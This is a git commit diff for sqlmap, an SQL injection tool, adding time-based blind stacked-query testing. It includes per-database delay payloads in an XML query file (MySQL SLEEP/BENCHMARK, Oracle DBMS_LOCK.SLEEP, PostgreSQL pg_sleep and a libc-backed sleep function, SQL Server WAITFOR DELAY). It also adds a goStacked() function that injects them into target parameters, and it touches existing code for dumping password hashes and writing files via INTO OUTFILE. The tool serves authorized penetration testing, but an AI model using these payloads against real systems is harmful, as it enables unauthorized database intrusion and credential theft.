Initial implementation of support for stacked queries.

Added method to test for Time based blind SQL injection query stacking
on the affected parameter a SLEEP() or similar DBMS specific function.
Adapted libraries, plugins and XML with the above changes.
Minor layout adjustments.
This commit is contained in:
Bernardo Damele 2008-11-12 00:36:50 +00:00
parent 13f76cfe3b
commit 81ed7c2086
12 changed files with 185 additions and 95 deletions

View File

@ -68,7 +68,10 @@ def action():
print "back-end DBMS:\t%s\n" % conf.dbmsHandler.getFingerprint()
# Miscellaneous options
# Techniques options
if conf.timeTest:
dumper.string("time based sql injection", conf.dbmsHandler.timeTest())
if conf.unionTest:
dumper.string("valid union", unionTest())

View File

@ -95,7 +95,7 @@ class Agent:
else:
raise sqlmapNoneDataException, "unsupported injection type"
if kb.parenthesis != None:
if kb.parenthesis not in ( None, 0 ):
query += "%s " % (")" * kb.parenthesis)
query += string
@ -343,7 +343,7 @@ class Agent:
@rtype: C{str}
"""
inbandQuery = self.prefixQuery("UNION ALL SELECT ")
inbandQuery = self.prefixQuery(" UNION ALL SELECT ")
if not exprPosition:
exprPosition = kb.unionPosition

View File

@ -48,6 +48,12 @@ optDict = {
"dbms": "string",
},
"Techniques": {
"timeTest": "boolean",
"unionTest": "boolean",
"unionUse": "boolean",
},
"Fingerprint": {
"extensiveFp": "boolean",
},
@ -85,8 +91,6 @@ optDict = {
},
"Miscellaneous": {
"unionTest": "boolean",
"unionUse": "boolean",
"eta": "boolean",
"verbose": "integer",
"updateAll": "boolean",

View File

@ -64,3 +64,5 @@ PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
TIME_SECONDS = 5

View File

@ -103,6 +103,27 @@ def cmdLineParser():
injection.add_option("--dbms", dest="dbms",
help="Force back-end DBMS to this value")
# Techniques options
techniques = OptionGroup(parser, "Techniques", "These options can "
"be used to test for specific SQL injection "
"technique or to use one of them to exploit "
"the affected parameter(s) rather than using "
"the default blind SQL injection technique.")
techniques.add_option("--time-test", dest="timeTest",
action="store_true",
help="Test for Time based blind SQL injection")
techniques.add_option("--union-test", dest="unionTest",
action="store_true",
help="Test for UNION SELECT (inband) SQL injection")
techniques.add_option("--union-use", dest="unionUse",
action="store_true",
help="Use the UNION SELECT (inband) SQL injection "
"to retrieve the queries output. No "
"need to go blind")
# Fingerprint options
fingerprint = OptionGroup(parser, "Fingerprint")
@ -215,16 +236,6 @@ def cmdLineParser():
# Miscellaneous options
miscellaneous = OptionGroup(parser, "Miscellaneous")
miscellaneous.add_option("--union-test", dest="unionTest",
action="store_true",
help="Test for UNION SELECT (inband) SQL injection")
miscellaneous.add_option("--union-use", dest="unionUse",
action="store_true",
help="Use the UNION SELECT (inband) SQL injection "
"to retrieve the queries output. No "
"need to go blind")
miscellaneous.add_option("--eta", dest="eta", action="store_true",
help="Retrieve each query output length and "
"calculate the estimated time of arrival "
@ -251,6 +262,7 @@ def cmdLineParser():
parser.add_option_group(request)
parser.add_option_group(injection)
parser.add_option_group(techniques)
parser.add_option_group(fingerprint)
parser.add_option_group(enumeration)
parser.add_option_group(filesystem)

View File

@ -95,6 +95,14 @@ class queriesHandler(ContentHandler):
data = sanitizeStr(attrs.get("query"))
self.__queries.count = data
elif name == "comment":
data = sanitizeStr(attrs.get("query"))
self.__queries.comment = data
elif name == "timedelay":
data = sanitizeStr(attrs.get("query"))
self.__queries.timedelay = data
elif name == "substring":
data = sanitizeStr(attrs.get("query"))
self.__queries.substring = data

View File

@ -38,6 +38,8 @@ from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.data import temp
from lib.core.settings import TIME_SECONDS
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.use import unionUse
from lib.techniques.inference.blind import bisection
from lib.utils.resume import queryOutputLength
@ -53,7 +55,7 @@ def __getFieldsProxy(expression):
def __goInference(payload, expression):
start = time.time()
start = time.time()
if ( conf.eta or conf.threads > 1 ) and kb.dbms:
_, length, _ = queryOutputLength(expression, payload)
@ -100,7 +102,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
parameter through a bisection algorithm.
"""
query = agent.prefixQuery(temp.inference)
query = agent.prefixQuery(" %s" % temp.inference)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
count = None
@ -379,3 +381,22 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None)
value = __goInferenceProxy(expression, fromUser, expected)
return value
def goStacked(expression, timeTest=False):
"""
TODO: write description
"""
query = agent.prefixQuery("; %s" % expression)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
start = time.time()
Request.queryPage(payload)
duration = int(time.time() - start)
if timeTest:
return (duration >= TIME_SECONDS, payload)
else:
return duration >= TIME_SECONDS

View File

@ -92,7 +92,7 @@ def unionTest():
value = ""
query = agent.prefixQuery("UNION ALL SELECT NULL")
query = agent.prefixQuery(" UNION ALL SELECT NULL")
for comment in ("--", "#", "/*", ";", "%00"):
value = __effectiveUnionTest(query, comment)

View File

@ -128,7 +128,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
logMsg = "executing MySQL comment injection fingerprint"
logger.info(logMsg)
query = agent.prefixQuery("/* NoValue */")
query = agent.prefixQuery(" /* NoValue */")
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
@ -156,7 +156,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
for version in range(element[0], element[1] + 1):
randInt = randomInt()
version = str(version)
query = agent.prefixQuery("/*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
result = Request.queryPage(payload)
@ -285,10 +285,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
# Or if it is MySQL >= 5.0.0 and < 5.1.2
elif inject.getValue("MID(@@hostname, 1, 1)"):
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
# NOTE: MySQL 5.0.12 introduced SLEEP() function
# References:
# * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-12.html
# * http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_sleep
elif inject.getValue("SELECT 1 FROM DUAL") == "1":
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
elif inject.getValue("DATABASE() LIKE SCHEMA()"):
@ -424,7 +420,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
query = agent.prefixQuery(query)
query = agent.prefixQuery(" %s" % query)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)

View File

@ -39,6 +39,7 @@ from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUndefinedMethod
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.settings import TIME_SECONDS
from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper
from lib.request import inject
@ -68,13 +69,34 @@ class Enumeration:
temp.inference = queries[dbms].inference
# TODO: move this function to an appropriate file
def timeTest(self):
infoMsg = "testing time based blind sql injection on parameter "
infoMsg += "'%s'" % kb.injParameter
logger.info(infoMsg)
# TODO: probably the '; <COMMENT>' will be filled in in all
# future time based SQL injection attacks at the end of the
# stacked query. Find a way that goStacked() function itself
# append it.
query = "%s; " % queries[kb.dbms].timedelay % TIME_SECONDS
query += queries[kb.dbms].comment
self.timeTest = inject.goStacked(query, timeTest=True)
if self.timeTest[0] == True:
return "True, verified with payload: %s" % self.timeTest[1]
else:
return "False"
def forceDbmsEnum(self):
pass
def getBanner(self):
logMsg = "fetching banner"
logger.info(logMsg)
infoMsg = "fetching banner"
logger.info(infoMsg)
query = queries[kb.dbms].banner
@ -85,8 +107,8 @@ class Enumeration:
def getCurrentUser(self):
logMsg = "fetching current user"
logger.info(logMsg)
infoMsg = "fetching current user"
logger.info(infoMsg)
query = queries[kb.dbms].currentUser
@ -97,8 +119,8 @@ class Enumeration:
def getCurrentDb(self):
logMsg = "fetching current database"
logger.info(logMsg)
infoMsg = "fetching current database"
logger.info(infoMsg)
query = queries[kb.dbms].currentDb
@ -109,8 +131,8 @@ class Enumeration:
def getUsers(self):
logMsg = "fetching database users"
logger.info(logMsg)
infoMsg = "fetching database users"
logger.info(infoMsg)
rootQuery = queries[kb.dbms].users
@ -128,8 +150,8 @@ class Enumeration:
self.cachedUsers = value
if not self.cachedUsers:
logMsg = "fetching number of database users"
logger.info(logMsg)
infoMsg = "fetching number of database users"
logger.info(infoMsg)
if condition:
query = rootQuery["blind"]["count2"]
@ -161,8 +183,8 @@ class Enumeration:
def getPasswordHashes(self):
logMsg = "fetching database users password hashes"
logger.info(logMsg)
infoMsg = "fetching database users password hashes"
logger.info(infoMsg)
rootQuery = queries[kb.dbms].passwords
@ -220,9 +242,9 @@ class Enumeration:
if user in retrievedUsers:
continue
logMsg = "fetching number of password hashes "
logMsg += "for user '%s'" % user
logger.info(logMsg)
infoMsg = "fetching number of password hashes "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
query = rootQuery["blind"]["count2"] % user
@ -236,8 +258,8 @@ class Enumeration:
logger.warn(warnMsg)
continue
logMsg = "fetching password hashes for user '%s'" % user
logger.info(logMsg)
infoMsg = "fetching password hashes for user '%s'" % user
logger.info(infoMsg)
passwords = []
indexRange = getRange(count)
@ -292,8 +314,8 @@ class Enumeration:
def getPrivileges(self):
logMsg = "fetching database users privileges"
logger.info(logMsg)
infoMsg = "fetching database users privileges"
logger.info(infoMsg)
rootQuery = queries[kb.dbms].privileges
@ -443,9 +465,9 @@ class Enumeration:
if user in retrievedUsers:
continue
logMsg = "fetching number of privileges "
logMsg += "for user '%s'" % user
logger.info(logMsg)
infoMsg = "fetching number of privileges "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
if unescapedUser:
queryUser = unescapedUser
@ -466,8 +488,8 @@ class Enumeration:
logger.warn(warnMsg)
continue
logMsg = "fetching privileges for user '%s'" % user
logger.info(logMsg)
infoMsg = "fetching privileges for user '%s'" % user
logger.info(infoMsg)
privileges = set()
indexRange = getRange(count)
@ -549,8 +571,8 @@ class Enumeration:
warnMsg += "names will be fetched from 'mysql' database"
logger.warn(warnMsg)
logMsg = "fetching database names"
logger.info(logMsg)
infoMsg = "fetching database names"
logger.info(infoMsg)
rootQuery = queries[kb.dbms].dbs
@ -565,8 +587,8 @@ class Enumeration:
self.cachedDbs = value
if not self.cachedDbs:
logMsg = "fetching number of databases"
logger.info(logMsg)
infoMsg = "fetching number of databases"
logger.info(infoMsg)
if kb.dbms == "MySQL" and not self.has_information_schema:
query = rootQuery["blind"]["count2"]
@ -605,10 +627,10 @@ class Enumeration:
self.forceDbmsEnum()
logMsg = "fetching tables"
infoMsg = "fetching tables"
if conf.db:
logMsg += " for database '%s'" % conf.db
logger.info(logMsg)
infoMsg += " for database '%s'" % conf.db
logger.info(infoMsg)
rootQuery = queries[kb.dbms].tables
@ -626,8 +648,8 @@ class Enumeration:
elif conf.excludeSysDbs:
query += " WHERE "
query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList)
logMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(logMsg)
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(infoMsg)
value = inject.getValue(query, blind=False)
@ -652,14 +674,14 @@ class Enumeration:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
logMsg = "skipping system database '%s'" % db
logger.info(logMsg)
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
logMsg = "fetching number of tables for "
logMsg += "database '%s'" % db
logger.info(logMsg)
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % db
logger.info(infoMsg)
query = rootQuery["blind"]["count"] % db
count = inject.getValue(query, inband=False, expected="int")
@ -711,10 +733,10 @@ class Enumeration:
errMsg = "missing database parameter"
raise sqlmapMissingMandatoryOptionException, errMsg
logMsg = "fetching columns "
logMsg += "for table '%s' " % conf.tbl
logMsg += "on database '%s'" % conf.db
logger.info(logMsg)
infoMsg = "fetching columns "
infoMsg += "for table '%s' " % conf.tbl
infoMsg += "on database '%s'" % conf.db
logger.info(infoMsg)
rootQuery = queries[kb.dbms].columns
@ -744,10 +766,10 @@ class Enumeration:
self.cachedColumns[conf.db] = table
if not self.cachedColumns:
logMsg = "fetching number of columns "
logMsg += "for table '%s'" % conf.tbl
logMsg += " on database '%s'" % conf.db
logger.info(logMsg)
infoMsg = "fetching number of columns "
infoMsg += "for table '%s'" % conf.tbl
infoMsg += " on database '%s'" % conf.db
logger.info(infoMsg)
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["blind"]["count"] % (conf.tbl, conf.db)
@ -841,12 +863,12 @@ class Enumeration:
colList.sort(key=lambda x: x.lower())
colString = ", ".join(column for column in colList)
logMsg = "fetching"
infoMsg = "fetching"
if conf.col:
logMsg += " columns '%s'" % colString
logMsg += " entries for table '%s'" % conf.tbl
logMsg += " on database '%s'" % conf.db
logger.info(logMsg)
infoMsg += " columns '%s'" % colString
infoMsg += " entries for table '%s'" % conf.tbl
infoMsg += " on database '%s'" % conf.db
logger.info(infoMsg)
if conf.unionUse:
if kb.dbms == "Oracle":
@ -893,12 +915,12 @@ class Enumeration:
warnMsg += "blind to confirm"
logger.warn(warnMsg)
logMsg = "fetching number of "
infoMsg = "fetching number of "
if conf.col:
logMsg += "columns '%s' " % colString
logMsg += "entries for table '%s' " % conf.tbl
logMsg += "on database '%s'" % conf.db
logger.info(logMsg)
infoMsg += "columns '%s' " % colString
infoMsg += "entries for table '%s' " % conf.tbl
infoMsg += "on database '%s'" % conf.db
logger.info(infoMsg)
if kb.dbms == "Oracle":
query = rootQuery["blind"]["count"] % conf.tbl.upper()
@ -1011,8 +1033,8 @@ class Enumeration:
def sqlQuery(self, query):
logMsg = "fetching SQL SELECT query output: '%s'" % query
logger.info(logMsg)
infoMsg = "fetching SQL SELECT query output: '%s'" % query
logger.info(infoMsg)
if query.startswith("select "):
query = query.replace("select ", "SELECT ", 1)
@ -1029,9 +1051,9 @@ class Enumeration:
def sqlShell(self):
logMsg = "calling %s shell. To quit type " % kb.dbms
logMsg += "'x' or 'q' and press ENTER"
logger.info(logMsg)
infoMsg = "calling %s shell. To quit type " % kb.dbms
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
autoCompletion(sqlShell=True)

View File

@ -82,6 +82,22 @@ string =
dbms =
[Techniques]
# Test for Time based blind SQL injection.
# Valid: True or False
timeTest = False
# Test for UNION SELECT (inband) SQL injection.
# Valid: True or False
unionTest = False
# Use the UNION SELECT (inband) SQL injection to retrieve the queries
# output. No need to go blind.
# Valid: True or False
unionUse = False
[Fingerprint]
# Perform an extensive back-end database management system fingerprint
@ -197,15 +213,6 @@ osShell = False
[Miscellaneous]
# Test for UNION SELECT (inband) SQL injection.
# Valid: True or False
unionTest = False
# Use the UNION SELECT (inband) SQL injection to retrieve the queries
# output. No need to go blind.
# Valid: True or False
unionUse = False
# Retrieve each query output length and calculate the estimated time of
# arrival in real time.
# Valid: True or False

View File

@ -14,6 +14,15 @@
<limitstring query=" LIMIT "/>
<order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/>
<comment query="#" query2="/*"/>
<!--
NOTE: In PHP the mysql_query() function does not permit query stacking, or executing multiple queries in a single function call.
MySQL 5.0.12 introduced SLEEP() function
References:
* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-12.html
* http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_sleep
-->
<timedelay query="SELECT SLEEP(%d)" query2="SELECT BENCHMARK(1000000, MD5('%d'))"/>
<substring query="MID((%s), %d, %d)"/>
<inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
<banner query="VERSION()"/>
@ -62,6 +71,8 @@
<limitstring/>
<order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/>
<comment query="--"/>
<timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="SELECT UTL_INADDR.get_host_name('10.0.0.%d') FROM DUAL"/>
<substring query="SUBSTR((%s), %d, %d)"/>
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
@ -109,6 +120,8 @@
<limitstring query=" OFFSET "/>
<order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/>
<comment query="--" query2="/*"/>
<timedelay query="SELECT pg_sleep(%d)" query2="CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(%d)"/>
<substring query="SUBSTR((%s)::text, %d, %d)"/>
<inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/>
<banner query="VERSION()"/>
@ -157,6 +170,8 @@
<limitstring/>
<order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/>
<comment query="--" query2="/*"/>
<timedelay query="WAITFOR DELAY '0:0:%d'"/>
<substring query="SUBSTRING((%s), %d, %d)"/>
<inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/>
<banner query="@@VERSION"/>